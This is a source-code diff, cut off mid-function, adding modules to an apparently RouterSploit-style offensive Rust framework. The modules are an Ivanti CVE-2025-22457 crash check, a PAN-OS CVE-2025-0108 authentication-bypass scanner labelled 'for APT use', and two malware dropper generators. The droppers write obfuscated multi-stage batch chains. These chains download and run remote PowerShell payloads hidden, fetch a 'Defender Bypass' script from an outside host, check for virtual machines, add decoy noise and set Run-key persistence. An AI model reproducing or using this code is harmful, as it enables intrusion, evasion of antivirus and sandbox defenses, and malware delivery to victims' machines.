+fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
+    let mut record = vec![record_type];
+    record.extend_from_slice(&version.to_be_bytes());
+    record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
+    record.extend_from_slice(payload);
+    record
+}
+
+/// Converts binary leak to printable ASCII
+fn printable_dump(data: &[u8]) -> String {
+    data.iter()
+        .map(|b| match *b {
+            32..=126 => *b as char,
+            b'\n' | b'\r' | b'\t' => ' ',
+            _ => '.',
+        })
+        .collect()
+}

src/modules/exploits/generic/mod.rs

@@ -0,0 +1 @@
+pub mod heartbleed;

src/modules/exploits/ivanti/ivanti_connect_secure_stack_based_buffer_overflow.rs

@@ -0,0 +1,260 @@
+//CVE-2025-22457 – Ivanti Connect Secure Stack-Based Buffer Overflow Exploit Check
+
+//Author: Bryan Smith (@securekomodo)
+//Severity: Critical
+//CWE: CWE-121 – Stack-Based Buffer Overflow
+//CVSS: 9.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
+//Product: Ivanti Connect Secure, Ivanti Policy Secure, Ivanti ZTA Gateways
+//Affected Versions:
+//  - Connect Secure < 22.7R2.6
+//  - Policy Secure < 22.7R1.4
+//  - ZTA Gateways < 22.8R2.2
+
+// Description:
+//  This script tests for the presence of CVE-2025-22457, a critical vulnerability in Ivanti Connect Secure,
+//  which allows a remote unauthenticated attacker to crash the web process via a long X-Forwarded-For header.
+
+//  In detailed mode, the vulnerability is confirmed if:
+//    1. A pre-check GET request returns HTTP 200
+//    2. A POST request with the crafted payload receives no response (safe crash)
+//    3. A follow-up GET receives HTTP 200, verifying the previous no-response was not incidental
+
+//  If this sequence is observed, the system is marked as vulnerable.
+//  A vulnerable system will generate the log on the server appliance:
+//    ERROR31093: Program web recently failed.
+
+//References:
+//  - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
+//  - https://www.cvedetails.com/cve/CVE-2025-22457
+//  - https://www.redlinecybersecurity.com/blog/cve-2025-22457-python-exploit-poc-scanner-to-detect-ivanti-connect-secure-rce
+
+
+
+
+
+use anyhow::Result;
+use regex::Regex;
+use reqwest::{Client, StatusCode};
+use std::time::Duration;
+use tokio::time::sleep;
+use tokio::io::{self, AsyncBufReadExt, BufReader};
+use url::Url;
+
+/// ANSI color codes for terminal output
+struct Colors;
+impl Colors {
+    const YELLOW: &'static str = "\x1b[93m";
+    const GREEN: &'static str = "\x1b[92m";
+    const GRAY: &'static str = "\x1b[90m";
+    const RED: &'static str = "\x1b[91m";
+    const RESET: &'static str = "\x1b[0m";
+}
+
+/// // Paths tested for CVE-2025-22457
+const PATHS: [&str; 2] = [
+    "/dana-na/auth/url_default/welcome.cgi",
+    "/dana-na/setup/psaldownload.cgi",
+];
+
+/// // Headers for initial and payload requests
+fn default_headers() -> reqwest::header::HeaderMap {
+    let mut headers = reqwest::header::HeaderMap::new();
+    headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
+    headers
+}
+
+fn payload_headers() -> reqwest::header::HeaderMap {
+    let mut headers = reqwest::header::HeaderMap::new();
+    headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
+    headers.insert("X-Forwarded-For", "1".repeat(2048).parse().unwrap());
+    headers
+}
+
+/// // Safe HTTP request wrapper
+async fn safe_request(
+    method: &str,
+    url: &str,
+    headers: reqwest::header::HeaderMap,
+    timeout_secs: u64,
+) -> Option<reqwest::Response> {
+    let client = Client::builder()
+        .danger_accept_invalid_certs(true)
+        .timeout(Duration::from_secs(timeout_secs))
+        .build()
+        .ok()?;
+
+    match method {
+        "GET" => client.get(url).headers(headers).send().await.ok(),
+        "POST" => client.post(url).headers(headers).send().await.ok(),
+        _ => None,
+    }
+}
+
+/// // Normalize and extract usable target URL from IPv6/host formats
+async fn normalize_target(raw: &str) -> Result<String> {
+    let mut input = raw.trim().to_string();
+
+    // // Handle IPv6 edge brackets like [[::1]] or [[[::1]]]
+    while input.starts_with('[') && input.ends_with(']') {
+        input = input.trim_start_matches('[').trim_end_matches(']').to_string();
+    }
+
+    // // Prepend https:// if missing
+    if !input.starts_with("http://") && !input.starts_with("https://") {
+        input = format!("https://{}", input);
+    }
+
+    let mut parsed = Url::parse(&input)?;
+
+    // // Prompt for port if not present
+    if parsed.port_or_known_default().is_none() {
+        println!("{}No port detected. Please enter a port (e.g. 443):{}", Colors::YELLOW, Colors::RESET);
+        let mut port_line = String::new();
+        BufReader::new(io::stdin()).read_line(&mut port_line).await?;
+        let port = port_line.trim().parse::<u16>()?;
+        parsed.set_port(Some(port)).expect("invalid port");
+    }
+
+    Ok(parsed[..].to_string())
+}
+
+/// // Version info grabber for passive fingerprinting
+async fn grab_version_info(target: &str) -> Result<Option<String>> {
+    let version_url = format!("{}/dana-na/auth/url_admin/welcome.cgi?type=inter", target);
+    let client = Client::builder()
+        .danger_accept_invalid_certs(true)
+        .timeout(Duration::from_secs(5))
+        .build()?;
+
+    if let Ok(r) = client.get(&version_url).send().await {
+        if r.status() == StatusCode::OK {
+            let body = r.text().await?;
+            let name_re = Regex::new(r#"NAME="ProductName"\s+VALUE="([^"]+)""#)?;
+            let ver_re = Regex::new(r#"NAME="ProductVersion"\s+VALUE="([^"]+)""#)?;
+
+            let name = name_re
+                .captures(&body)
+                .and_then(|cap| cap.get(1).map(|m| m.as_str()));
+            let ver = ver_re
+                .captures(&body)
+                .and_then(|cap| cap.get(1).map(|m| m.as_str()));
+
+            if let (Some(name), Some(ver)) = (name, ver) {
+                println!("{}Detected {} Version: {}{}", Colors::GREEN, name, ver, Colors::RESET);
+
+                // // Passive logic
+                if ver.starts_with("9.") {
+                    println!(
+                        "{}PASSIVE VULNERABILITY DETECTED: 9.x versions are known to be vulnerable.{}",
+                        Colors::YELLOW, Colors::RESET
+                    );
+                } else if let Ok(parsed_ver) = semver::Version::parse(ver) {
+                    if parsed_ver < semver::Version::parse("22.7.0")? {
+                        println!(
+                            "{}PASSIVE VULNERABILITY DETECTED: Version {} is older than 22.7.{}",
+                            Colors::YELLOW, ver, Colors::RESET
+                        );
+                    } else {
+                        println!(
+                            "{}Version {} appears patched.{}",
+                            Colors::GREEN, ver, Colors::RESET
+                        );
+                    }
+                }
+
+                return Ok(Some(version_url));
+            }
+        }
+    }
+
+    println!("{}Could not determine version (passive).{}", Colors::GRAY, Colors::RESET);
+    Ok(None)
+}
+
+/// // Run detailed check using the 3-phase logic from PoC
+async fn detailed_check(target: &str) -> Result<Vec<String>> {
+    println!(
+        "\n{}Starting detailed check on {}{}",
+        Colors::GRAY, target, Colors::RESET
+    );
+
+    let mut vulnerable_paths = Vec::new();
+
+    if let Some(ver_url) = grab_version_info(target).await? {
+        vulnerable_paths.push(ver_url);
+    }
+
+    for path in PATHS {
+        let full_url = format!("{target}{path}");
+        println!("\n{}Testing path: {}{}", Colors::GRAY, path, Colors::RESET);
+
+        // // Step 1: Pre-check
+        let r1 = safe_request("GET", &full_url, default_headers(), 5).await;
+        if r1.as_ref().map(|r| r.status()) != Some(StatusCode::OK) {
+            println!(
+                "{}Pre-check failed (status: {}). Skipping...{}",
+                Colors::GRAY,
+                r1.as_ref().map(|r| r.status().as_u16()).unwrap_or(0),
+                Colors::RESET
+            );
+            continue;
+        }
+
+        println!("{}Pre-check successful (HTTP 200){}", Colors::GREEN, Colors::RESET);
+
+        // // Step 2: Payload
+        let r2 = safe_request("POST", &full_url, payload_headers(), 10).await;
+        if r2.is_some() {
+            println!("{}Payload returned response. Not vulnerable.{}", Colors::GRAY, Colors::RESET);
+            continue;
+        }
+
+        println!(
+            "{}No response to payload (expected crash behavior).{}",
+            Colors::GREEN, Colors::RESET
+        );
+
+        // // Step 3: Follow-up GET
+        sleep(Duration::from_secs(1)).await;
+        let r3 = safe_request("GET", &full_url, default_headers(), 5).await;
+
+        if r3.as_ref().map(|r| r.status()) == Some(StatusCode::OK) {
+            println!(
+                "{}Follow-up returned HTTP 200. Crash condition verified.{}",
+                Colors::GREEN, Colors::RESET
+            );
+            println!(
+                "{}VULNERABLE: {}{}{}",
+                Colors::YELLOW, target, path, Colors::RESET
+            );
+            vulnerable_paths.push(full_url);
+        } else {
+            println!(
+                "{}Follow-up failed. Crash condition not confirmed.{}",
+                Colors::GRAY, Colors::RESET
+            );
+        }
+    }
+
+    Ok(vulnerable_paths)
+}
+
+/// // Required entry point for RouterSploit-style dispatcher
+pub async fn run(target: &str) -> Result<()> {
+    let normalized = normalize_target(target).await?;
+    let result = detailed_check(&normalized).await?;
+
+    if !result.is_empty() {
+        println!(
+            "\n{}Exploit result: SUCCESS – vulnerable paths found.{}",
+            Colors::YELLOW, Colors::RESET
+        );
+    } else {
+        println!(
+            "\n{}Exploit result: NOT VULNERABLE – no indicators.{}",
+            Colors::RED, Colors::RESET
+        );
+    }
+
+    Ok(())
+}

src/modules/exploits/ivanti/mod.rs

@@ -0,0 +1 @@
+pub mod ivanti_connect_secure_stack_based_buffer_overflow;

src/modules/exploits/mod.rs

@@ -1,2 +1,18 @@
+pub mod generic;
 pub mod sample_exploit;
 pub mod payloadgens;
+pub mod tplink;
+pub mod ssh;
+pub mod spotube;
+pub mod ftp;
+pub mod zabbix;
+pub mod abus;
+pub mod uniview;
+pub mod avtech;
+pub mod acti;
+pub mod zte;
+pub mod ivanti;
+pub mod apache_tomcat;
+pub mod palo_alto;
+pub mod roundcube;
+

src/modules/exploits/palo_alto/mod.rs

@@ -0,0 +1 @@
+pub mod panos_authbypass_cve_2025_0108;

src/modules/exploits/palo_alto/panos_authbypass_cve_2025_0108.rs

@@ -0,0 +1,131 @@
+// Filename: cve_2025_0108.rs
+
+use anyhow::{Result, bail};
+use colored::*;
+use reqwest::Client;
+use std::{
+    fs::File,
+    io::{self, BufRead, BufReader, Write},
+    process::Command,
+    time::Duration,
+};
+use url::Url;
+
+/// // CVE-2025-0108 - PanOS Authentication Bypass
+/// // Author: iSee857
+/// // Ported to Rust by ethical hacker daniel for APT use
+
+/// // Displays module banner
+fn banner() {
+    println!(
+        "{}",
+        r#"
+    ****************************************************
+    *                CVE-2025-0108                     *
+    *             PanOs  身份认证绕过漏洞               *
+    *                 作者: iSee857                    *
+    ****************************************************
+    "#
+        .cyan()
+    );
+}
+
+/// // Reads target list from file
+fn read_file(file_path: &str) -> Result<Vec<String>> {
+    let file = File::open(file_path)?;
+    let reader = BufReader::new(file);
+    Ok(reader.lines().filter_map(Result::ok).collect())
+}
+
+/// // Normalize IPv6 host with double or triple brackets
+fn normalize_ipv6_host(host: &str) -> String {
+    let stripped = host.trim_matches(|c| c == '[' || c == ']');
+    if stripped.contains(':') {
+        format!("[{}]", stripped)
+    } else {
+        stripped.to_string()
+    }
+}
+
+/// // Constructs the full normalized URL
+fn normalize_url(host: &str, port: u16, proto: &str) -> Option<String> {
+    let host = normalize_ipv6_host(host);
+    let base = format!("{}{}:{}", proto, host, port);
+    Url::parse(&base).ok().map(|u| u.to_string())
+}
+
+/// // Opens a URL in the default system browser
+fn open_browser(url: &str) -> Result<()> {
+    #[cfg(target_os = "linux")]
+    let cmd = Command::new("xdg-open").arg(url).spawn();
+
+    #[cfg(target_os = "windows")]
+    let cmd = Command::new("cmd").args(["/C", "start", url]).spawn();
+
+    #[cfg(target_os = "macos")]
+    let cmd = Command::new("open").arg(url).spawn();
+
+    if cmd.is_err() {
+        bail!("Could not open default browser.");
+    }
+    Ok(())
+}
+
+/// // Executes CVE-2025-0108 check
+async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
+    let protocols = ["http://", "https://"];
+    let path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css";
+
+    for proto in &protocols {
+        if let Some(base_url) = normalize_url(url, port, proto) {
+            let full_url = format!("{}{}", base_url.trim_end_matches('/'), path);
+            println!("{}", full_url);
+
+            let resp = client.get(&full_url).send().await;
+
+            if let Ok(res) = resp {
+                let status = res.status();
+                let body = res.text().await.unwrap_or_default();
+
+                if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") {
+                    println!(
+                        "{}",
+                        format!("Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port).red()
+                    );
+                    let _ = open_browser(&full_url);
+                    return Ok(true);
+                }
+            }
+        }
+    }
+
+    Ok(false)
+}
+
+
+/// // Main entry point for auto-dispatch system
+pub async fn run(target: &str) -> Result<()> {
+    banner();
+
+    let mut port_input = String::new();
+    print!("{}", "Enter target port (default 443): ".cyan().bold());
+    io::stdout().flush()?;
+    io::stdin().read_line(&mut port_input)?;
+    let port: u16 = port_input.trim().parse().unwrap_or(443);
+
+    let client = Client::builder()
+        .timeout(Duration::from_secs(10))
+        .danger_accept_invalid_certs(true)
+        .build()?;
+
+    if target.ends_with(".txt") {
+        let urls = read_file(target)?;
+        for url in urls {
+            let _ = check(&url, port, &client).await;
+        }
+    } else {
+        let _ = check(target, port, &client).await;
+    }
+
+    Ok(())
+}

src/modules/exploits/payloadgens/batgen.rs

@@ -0,0 +1,142 @@
+use anyhow::Result;
+use colored::*;
+use rand::{seq::SliceRandom, rng};
+use std::{
+    fs,
+    io::{self, Write},
+    path::Path,
+};
+
+use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
+
+fn prompt(prompt: &str) -> Result<String> {
+    print!("{}", prompt.cyan().bold());
+    io::stdout().flush()?;
+    let mut buffer = String::new();
+    io::stdin().read_line(&mut buffer)?;
+    Ok(buffer.trim().to_string())
+}
+
+fn base64_split_encode(url: &str) -> (String, String) {
+    let mid = url.len() / 2;
+    let (first, second) = url.split_at(mid);
+    let first_encoded = BASE64_STANDARD.encode(first);
+    let second_encoded = BASE64_STANDARD.encode(second);
+    (first_encoded, second_encoded)
+}
+
+fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> {
+    let mut symbols = vec![
+        "测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘",
+        "✂", "✈", "☎", "☂", "☯", "✉", "✏", "✒", "✇", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析",
+    ];
+    let mut rng = rng();
+    symbols.shuffle(&mut rng);
+
+    let s2 = symbols[0].to_string();
+    let s3 = symbols[1].to_string();
+    let s4 = symbols[2].to_string();
+    let _f1 = symbols[3].to_string();
+    let _f2 = symbols[4].to_string();
+    let _f3 = symbols[5].to_string();
+
+    let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new("."));
+    let _stage1 = Path::new(stage1_path);
+    let _stage2 = base.join(format!("{s2}.bat"));
+    let _stage3 = base.join(format!("{s3}.bat"));
+    let _stage4 = base.join(format!("{s4}.bat"));
+
+    // Encode URL
+    let (part1_b64, part2_b64) = base64_split_encode(url);
+
+    // === Stage 1: writes stage2.bat ===
+    let stage1_contents = format!(
+r#"@echo off
+setlocal EnableDelayedExpansion
+cls >nul
+:: Sleep random 1-4 seconds
+set /a RND=1+%RANDOM%%%4
+timeout /t %RND% /nobreak >nul
+
+:: Five explicit 1-second sleeps at stage 1
+timeout /t 1 /nobreak >nul
+timeout /t 1 /nobreak >nul
+timeout /t 1 /nobreak >nul
+timeout /t 1 /nobreak >nul
+timeout /t 1 /nobreak >nul
+
+echo Creating next stage...
+(
+echo @echo off
+echo setlocal EnableDelayedExpansion
+echo cls ^>nul
+echo set /a RND=1+%%RANDOM%%%%4
+echo timeout /t %%RND%% /nobreak ^>nul
+
+:: Five explicit 1-second sleeps for stage 2
+echo timeout /t 1 /nobreak ^>nul
+echo timeout /t 1 /nobreak ^>nul
+echo timeout /t 1 /nobreak ^>nul
+echo timeout /t 1 /nobreak ^>nul
+echo timeout /t 1 /nobreak ^>nul
+
+echo echo Creating next stage...
+echo (
+    echo   @echo off
+    echo   setlocal EnableDelayedExpansion
+    echo   cls ^>nul
+    echo   set /a RND=1+%%RANDOM%%%%4
+    echo   timeout /t %%RND%% /nobreak ^>nul
+
+    :: Five explicit 1-second sleeps for stage 3
+    echo   timeout /t 1 /nobreak ^>nul
+    echo   timeout /t 1 /nobreak ^>nul
+    echo   timeout /t 1 /nobreak ^>nul
+    echo   timeout /t 1 /nobreak ^>nul
+    echo   timeout /t 1 /nobreak ^>nul
+
+    echo   echo Creating final stage...
+    echo   (
+        echo     @echo off
+        echo     setlocal EnableDelayedExpansion
+        echo     cls ^>nul
+        echo     set /a RND=1+%%RANDOM%%%%4
+        echo     timeout /t %%RND%% /nobreak ^>nul
+        echo     set part1={part1_b64}
+        echo     set part2={part2_b64}
+        echo     powershell -WindowStyle Hidden -Command ^^"
+            echo       $p1 = $env:part1;
+            echo       $p2 = $env:part2;
+            echo       $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2));
+            echo       Invoke-WebRequest -Uri $u -OutFile '{output_ps1}';
+            echo       Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}';
+        echo     ^^"
+        echo     exit
+    echo   ) > "{s4}"
+    echo   timeout /t 600 /nobreak ^>nul    :: Wait 10 minutes before stage 4
+    echo   start "" /B "{s4}"              :: Launch stage 4 in background
+    echo   exit
+echo ) > "{s3}"
+echo start "" /B "{s3}"                   :: Launch stage 3 in background
+echo exit
+) > "{s2}"
+
+start "" /B "{s2}"                         :: Launch stage 2 in background
+exit
+"#);
+
+    fs::write(_stage1, stage1_contents)?;
+
+    Ok(())
+}
+
+pub async fn run(_target: &str) -> Result<()> {
+    let stage1_name = prompt("[+] Output BAT filename (stage 1): ")?;
+    let github_url = prompt("[+] GitHub raw URL of PowerShell script: ")?;
+    let ps1_output = prompt("[+] Name to save .ps1 as on victim: ")?;
+
+    write_payload_chain(&stage1_name, &github_url, &ps1_output)?;
+    println!("[+] Stage 1 payload written to {stage1_name}");
+    println!("[*] Chain will execute real .bat files one after the other with random jitter.");
+    Ok(())
+}

src/modules/exploits/payloadgens/mod.rs

@@ -1 +1,2 @@
-pub mod payloadgenbat;
+pub mod narutto_dropper;
+pub mod batgen;

src/modules/exploits/payloadgens/narutto_dropper.rs

@@ -0,0 +1,322 @@
+// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
+// // User provides: PS1 download link, final batch name, output .ps1 name
+// // All temp/var names randomized, batch logic randomized, anti-VM checks
+
+use rand::prelude::*;
+use anyhow::Result;
+use colored::*;
+use rand::{rng, seq::SliceRandom, Rng};
+use std::io::{self, Write as IoWrite};
+use tokio::fs::File as TokioFile;
+use tokio::io::AsyncWriteExt;
+
+// // Prints a welcome message for the Naruto 3-stage poly-morphic dropper
+pub fn print_welcome_naruto() {
+    println!(r#"
+======================== WELCOME TO NARUTO ========================
+
+                ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣴⣶⣶⣶⣶⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+                ⠀⠀⠀⠀⠀⠀⣠⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄⠀⠀⠀⠀⠀⠀
+                ⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⠏⠁⠀⢶⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀
+                ⠀ ⢀⣾⣿⣿⣿⣿⣿⣿⡿⠿⣿⡇⠀⠀⠀⣿⠿⢿⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀
+                ⠀⢠⣾⣿⣿⣿⣿⣿⡿⠋⣠⣴⣿⣷⣤⣤⣾⣿⣦⣄⠙⢿⣿⣿⣿⣿⣿⣷⡄⠀
+                ⠀⣼⣿⣿⣿⣿⣿⡏⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡀⢹⣿⣿⣿⣿⣿⣧⠀
+                ⢰⣿⣿⣿⣿⣿⡿⠀⣾⣿⣿⣿⣿⠟⠉⠉⠻⣿⣿⣿⣿⣷⠀⢿⣿⣿⣿⣿⣿⡆
+                ⢸⣿⣿⣿⣿⣿⣇⣰⣿⣿⣿⣿⡇⠀⠀⠀⠀⢸⣿⣿⣿⣿⣆⣸⣿⣿⣿⣿⣿⡇
+                ⠸⣿⣿⣿⡿⣿⠟⠋⠙⠻⣿⣿⣿⣦⣀⣀⣴⣿⣿⣿⣿⠛⠙⠻⣿⣿⣿⣿⣿⠇
+                ⠀⢻⣿⣿⣧⠉⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠈⣿⣿⣿⡟⠀
+                ⠀⠘⢿⣿⣿⣷⣦⣤⣴⣾⠛⠻⢿⣿⣿⣿⣿⡿⠟⠋⣿⣦⣤⠀⣰⣿⣿⡿⠃⠀
+                ⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣄⣈⣁⣠⣤⣶⣾⣿⣿⣷⣾⣿⣿⡿⠁⠀⠀
+                ⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀
+                ⠀⠀⠀⠀⠀⠀⠙⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⠀⠀⠀⠀⠀⠀
+                ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⠿⠿⠿⠿⠟⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀
+
+  Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper Generator
+------------------------------------------------------------------
+  - Prompts for: Powershell payload download URL, output names
+  - Generates a highly randomized batch dropper
+  - All variable, file, registry names are randomized per build
+  - Drops multi-stage .bat with anti-VM/anti-sandbox tricks
+  - Final stage ensures persistence via HKCU registry
+  - Decoy files and diagnostic noise included for stealth
+  - 100% open source and ready for advanced red-team ops
+
+==================================================================
+"#);
+}
+// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
+// // - User provides: PS1 download link, final batch name, output .ps1 name
+// // - All temp/var names randomized, batch logic randomized, anti-VM checks
+
+
+/// // List of random banner phrases for added entropy
+const BANNERS: &[&str] = &[
+    "診断ユーティリティを実行中...",
+    "ネットワーク診断開始...",
+    "管理者用システムテスト...",
+    "環境チェック実行中...",
+    "お待ちください。検証中...",
+];
+
+/// // Decoy files for download/cover noise
+const DECOY_FILES: &[&str] = &[
+    "readme.txt", "patchnote.docx", "system_log.csv", "scaninfo.html", "update.pdf",
+    "changelog.rtf", "debug.ini", "license.txt", "upgrade.bin", "notes.xml",
+];
+
+
+
+/// // Generate a random batch/var/filename, e.g. DIAG_AbX_7381
+fn rand_var_name(base: &str) -> String {
+    let mut rng = rng();
+    let charset: Vec<char> = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".chars().collect();
+    let mut name = base.to_string();
+    for _ in 0..3 { name.push(*charset.choose(&mut rng).unwrap()); }
+    name.push('_');
+    name.push_str(&rng.random_range(1000..9999).to_string());
+    name
+}
+
+/// // Shuffles and emits randomized diagnostic steps (adds noise)
+fn shuffled_diag_steps() -> Vec<String> {
+    let steps = vec![
+        "netsh winsock show catalog ^>nul",
+        "fsutil behavior query DisableDeleteNotify ^>nul",
+        "dcomcnfg /32 ^>nul",
+        "wevtutil qe Security \"/q:*[System[(EventID=4624)]]\" /f:text /c:1 ^>nul",
+        "netstat -bno ^>nul",
+        "route print ^>nul",
+        "sc queryex type= service ^>nul",
+        "wmic logicaldisk get caption,filesystem,freespace,size ^>nul",
+        "wmic cpu get loadpercentage ^>nul",
+        "systeminfo | findstr /C:\"Available Physical Memory\" ^>nul",
+        "reg query HKLM\\SOFTWARE ^>nul",
+    ];
+    let mut steps_mut = steps.clone();
+    let mut rng = rng();
+    steps_mut.shuffle(&mut rng);
+    steps_mut
+        .into_iter()
+        .enumerate()
+        .map(|(i, line)| format!("echo [INFO] Step {}...\n{}\ncall :SleepS 1", i+1, line))
+        .collect()
+}
+
+/// // Pick a random banner for the batch
+fn rand_banner() -> &'static str {
+    let mut rng = rng();
+    BANNERS.choose(&mut rng).unwrap_or(&BANNERS[0])
+}
+
+/// // Shuffle decoy filenames for the decoy download section
+fn shuffled_decoys() -> Vec<String> {
+    let mut rng = rng();
+    let mut files = DECOY_FILES.to_vec();
+    files.shuffle(&mut rng);
+    files.into_iter().map(|f| f.to_string()).collect()
+}
+
+/// // Anti-VM/Sandbox check, batch version, with randomized variable names
+fn build_anti_vm_batch(rand_vars: &[&str]) -> String {
+    format!(r#"
+REM Anti-VM/Sandbox (basic)
+set "{uptime}=0"
+for /f "skip=1" %%U in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{uptime}=%%U"
+set "{uptime}=%{uptime}:~0,8%"
+REM Pause if booted < 3 min ago
+for /f %%A in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{boot}=%%A"
+for /f "tokens=2 delims==." %%I in ('wmic OS Get LocalDateTime /value ^| findstr =') do set "{now}=%%I"
+set /a "{boot_time}=!{now}! - !{uptime}!"
+if !{boot_time}! lss 3000000 (
+    echo [*] Recent boot detected. Pausing.
+    call :SleepS 60
+)
+REM RAM check (<=2048 MB is suspicious)
+for /f "tokens=2 delims==" %%R in ('wmic ComputerSystem get TotalPhysicalMemory /value ^| findstr =') do set "{ram}=%%R"
+set /a "{ram_mb}=(!{ram}!)/1048576"
+if !{ram_mb}! lss 2048 (
+    echo [*] Low RAM detected. Pausing.
+    call :SleepS 120
+)
+REM Check VM drivers
+set "{vmfound}=0"
+for %%X in (VBOX VMWARE QEMU VIRTUAL) do (
+    driverquery | findstr /I %%X >nul
+    if not errorlevel 1 set "{vmfound}=1"
+)
+"#,
+        uptime=rand_vars[0],
+        boot=rand_vars[1],
+        now=rand_vars[2],
+        boot_time=rand_vars[3],
+        ram=rand_vars[4],
+        ram_mb=rand_vars[5],
+        vmfound=rand_vars[6],
+    )
+}
+
+/// // == Stage 3 (PERSIST) ==
+fn build_stage3(ps1_name: &str, rand_vars: &[String]) -> String {
+    format!(r#"
+@echo off
+REM Stage 3: Run dropped EXE (PowerShell payload) as .ps1 and set persistence
+setlocal enabledelayedexpansion
+REM Anti-VM/Sandbox
+{antivm}
+REM Run payload saved as .ps1 (actually an EXE)
+powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "%%~dp0{ps1_name}" >nul 2>&1
+reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "{reg}" /t REG_SZ /d "start \"\" /MIN \"%%~dp0{ps1_name}\"" /f
+REM Cleanup
+exit
+"#,
+        ps1_name=ps1_name,
+        reg=rand_vars[0],
+        antivm=build_anti_vm_batch(&[&rand_vars[1], &rand_vars[2], &rand_vars[3], &rand_vars[4], &rand_vars[5], &rand_vars[6], &rand_vars[7]]),
+    )
+}
+
+/// // == Stage 2 ==
+fn build_stage2(
+    url_exe: &str,
+    ps1_name: &str,
+    stage3_name: &str,
+    rand_vars: &[String],
+) -> String {
+    let stage3_content = build_stage3(ps1_name, rand_vars);
+    let mut tpl = format!(r#"
+@echo off
+setlocal enabledelayedexpansion
+REM Anti-VM/Sandbox
+{antivm}
+REM Download EXE payload and save as .ps1
+powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try {{ Invoke-WebRequest -Uri '{url_exe}' -OutFile '{ps1_name}' -UseBasicParsing }} catch {{ Start-BitsTransfer -Source '{url_exe}' -Destination '{ps1_name}' }}" >nul 2>&1
+REM Write Stage 3
+set "{stage3}=%~dp0{stage3_name}"
+("#,
+        url_exe = url_exe,
+        ps1_name = ps1_name,
+        stage3_name = stage3_name,
+        stage3 = rand_vars[8],
+        antivm = build_anti_vm_batch(&[
+            &rand_vars[9], &rand_vars[10], &rand_vars[11],
+            &rand_vars[12], &rand_vars[13], &rand_vars[14], &rand_vars[15]
+        ]),
+    );
+    for line in stage3_content.lines() {
+        tpl.push_str(&format!("    echo {} \n", line.replace("%", "%%")));
+    }
+    tpl.push_str(&format!(
+        r#") > "%{}%"
+REM Run Stage 3
+call "%{}%"
+REM Cleanup
+exit
+"#,
+        rand_vars[8], rand_vars[8]
+    ));
+    tpl
+}
+
+/// // == Stage 1 ==
+fn build_stage1(
+    url_exe: &str,
+    decoy_urls: &[&str],
+    ps1_name: &str,
+    stage2_name: &str,
+    stage3_name: &str,
+    rand_vars: &[String],
+) -> String {
+    let batch_var = rand_var_name("DIAG");
+    let random_sleep_lo = rng().random_range(1..4);
+    let random_sleep_hi = rng().random_range(4..8);
+    let banner = rand_banner();
+    let mut tpl = format!(r#"@echo off
+setlocal enabledelayedexpansion
+REM Defender Bypass
+powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {{ [ScriptBlock]::Create((irm https://dnot.sh/)) | Invoke-Command }}" >nul 2>&1
+:SleepS
+ping -n %1 127.0.0.1 ^>nul
+goto :eof
+:SleepMS
+powershell -Command "Start-Sleep -Milliseconds %1" ^>nul
+goto :eof
+title [管理者診断ユーティリティ - {banner}]
+color 0A
+set "{batch_var}_init=1"
+echo =====================================================
+echo           管理者用ネットワーク／システム診断ユーティリティ
+echo =====================================================
+echo [+] {banner}
+call :SleepS {random_sleep_lo}
+"#,
+        banner = banner,
+        batch_var = batch_var,
+        random_sleep_lo = random_sleep_lo,
+    );
+    tpl.push_str(&build_anti_vm_batch(&[
+        &rand_vars[16], &rand_vars[17], &rand_vars[18],
+        &rand_vars[19], &rand_vars[20], &rand_vars[21], &rand_vars[22]
+    ]));
+    for line in shuffled_diag_steps() {
+        tpl.push_str(&format!("{}\n", line));
+    }
